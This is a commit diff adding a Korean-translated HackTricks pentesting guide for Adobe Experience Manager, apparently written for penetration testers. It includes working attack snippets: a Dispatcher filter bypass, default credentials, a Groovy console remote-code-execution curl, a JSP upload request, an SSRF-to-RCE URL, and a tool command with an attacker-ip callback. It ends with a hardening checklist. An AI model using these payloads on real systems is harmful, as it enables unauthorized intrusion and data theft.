Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:27 +00:00
parent ac6b8e772c
commit c4cf00c803

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
취약점과 잘못된 구성을 찾으세요 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, Adobe Experience Cloud의 일부)는 Apache Sling/Felix (OSGi) 및 Java Content Repository (JCR) 위에서 실행되는 기업 CMS입니다.
> 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기 패치되는 긴 CVE 목록을 노출합니다.
아래 체크리스트는 실제 참여에서 계속 나타나는 **외부에서 접근 가능한 (unauth) 공격 표면**에 중점을 둡니다 (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
기타 빠른 지표:
* `/etc.clientlibs/` 정적 경로 존재 (JS/CSS 반환).
* `/libs/granite/core/content/login.html` “Adobe Experience Manager” 배너가 있는 로그인 페이지.
* `</script><!--/* CQ */-->` HTML 하단의 주석.
---
## 2. 높은 가치의 인증되지 않은 엔드포인트
경로 | 얻는 것 | 비고
---- | ------------- | -----
`/.json`, `/.1.json` | **DefaultGetServlet**를 통한 JCR 노드 | 종종 차단되지만, *Dispatcher 우회* (아래 참조) 작동.
`/bin/querybuilder.json?path=/` | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름 유출.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 콘솔 | 기본적으로 403; 노출되고 자격 증명이 발견되면 ⇒ 번들 업로드 RCE.
`/crx/packmgr/index.jsp` | 패키지 관리자 | 인증된 콘텐츠 패키지 → JSP 페이로드 업로드 허용.
`/etc/groovyconsole/**` | AEM Groovy 콘솔 | 노출되면 → 임의의 Groovy / Java 실행.
`/libs/cq/AuditlogSearchServlet.json` | 감사 로그 | 정보 유출.
`/libs/cq/ui/content/dumplibs.html` | ClientLibs 덤프 | XSS 벡터.
### Dispatcher 우회 트릭
대부분의 프로덕션 사이트는 *Dispatcher* (리버스 프록시) 뒤에 위치합니다. 그 필터 규칙은 허용된 정적 확장을 **세미콜론 또는 인코딩된 새 줄** 뒤에 추가하여 우회할 수 있습니다:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
단일 요청은 종종 이메일 주소가 포함된 사용자 프로필 노드를 공개합니다. P-T Partners는 이 취약점에 대한 좋은 지침을 발표했습니다. 【】
---
## 3. 일반적인 잘못된 구성 (2025년에도 여전히 존재)
1. **익명 POST 서블릿** `POST /.json``:operation=import`를 사용하면 새로운 JCR 노드를 생성할 수 있습니다. Dispatcher에서 `*.json` POST를 차단하면 해결됩니다. 【】
2. **모두가 읽을 수 있는 사용자 프로필** 기본 ACL이 `/home/users/**/profile/*`에 대해 모든 사용자에게 `jcr:read` 권한을 부여합니다.
3. **기본 자격 증명** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** 활성화 ⇒ `?debug=layout`을 통한 반사형 XSS (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견됨).
5. **노출된 Groovy 콘솔** Groovy 스크립트를 전송하여 원격 코드 실행:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. 최근 취약점 (서비스 팩 주기)
분기 | CVE | 영향 받는 버전 | 영향
------- | --- | -------- | ------
2024년 12월 | **CVE-2024-43711** | 6.5.21 및 이전 | 부적절한 입력 검증 → **임의 코드 실행** (저권한 인증 필요). 【】
2024년 12월 | CVE-2024-43724/26 | 6.5.21 및 이전 | Move Page Wizard에서 DOM / 저장된 XSS. 【】
2023년 12월 | CVE-2023-48452/68 | ≤ 6.5.18 | 조작된 URL을 통한 DOM 기반 XSS. 【】
2022년 12월 | CVE-2022-30683 | ≤ 6.5.13 | 암호 설계 결함 → 비밀 복호화 (저권한 자격 증명 필요). 【】
항상 고객의 서비스 팩에 맞는 *APSB* 게시판을 확인하고 최신 **6.5.22** 또는 *Cloud Service 2024.11*을 요청하세요.
---
## 5. 악용 스니펫
### 5.1 Dispatcher 우회 + JSP 업로드를 통한 RCE
익명 쓰기가 가능하다면:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
이제 `/content/evil.jsp`를 요청하세요 JSP는 AEM 프로세스 사용자로 실행됩니다.
### 5.2 SSRF에서 RCE로 (역사적 < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
**aem-hacker**의 `aem_ssrf2rce.py`는 전체 체인을 자동화합니다. 【】
---
## 6. 도구
* **aem-hacker** 스위스 아미 Enumeration 스크립트, 디스패처 우회, SSRF 탐지, 기본 자격 증명 확인 등을 지원합니다.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** 숨겨진 구성 요소를 발견하기 위해 `/_jcr_content.(json|html)`를 재귀적으로 요청합니다.
* **osgi-infect** 자격 증명이 있는 경우 `/system/console/bundles`를 통해 악성 OSGi 번들을 업로드합니다.
---
## 7. 강화 체크리스트 (보고서 권장 사항용)
1. **최신 누적 서비스 팩**(2025년 7월 기준: 6.5.22)에서 인스턴스를 유지합니다.
2. 기본 계정을 제거/회전하고 SSO/SAML을 시행합니다.
3. **디스패처 필터**를 강화합니다 익명 사용자에 대해 `;`, 인코딩된 줄 바꿈 및 `*.json` 또는 `*.querybuilder.json`을 거부합니다.
4. IP 허용 목록으로 콘솔(`/system/console`, `/crx/*`, `/etc/groovyconsole`)을 비활성화하거나 보호합니다.
5. Adobe에서 제공하는 *익명 권한 강화* 패키지를 적용합니다.
## 참조
* Adobe 보안 게시판 APSB24-69 “Adobe Experience Manager에 대한 보안 업데이트(2024년 12월)”.
* 0ang3el aem-hacker 도구 (GitHub).
{{#include ../../banners/hacktricks-training.md}}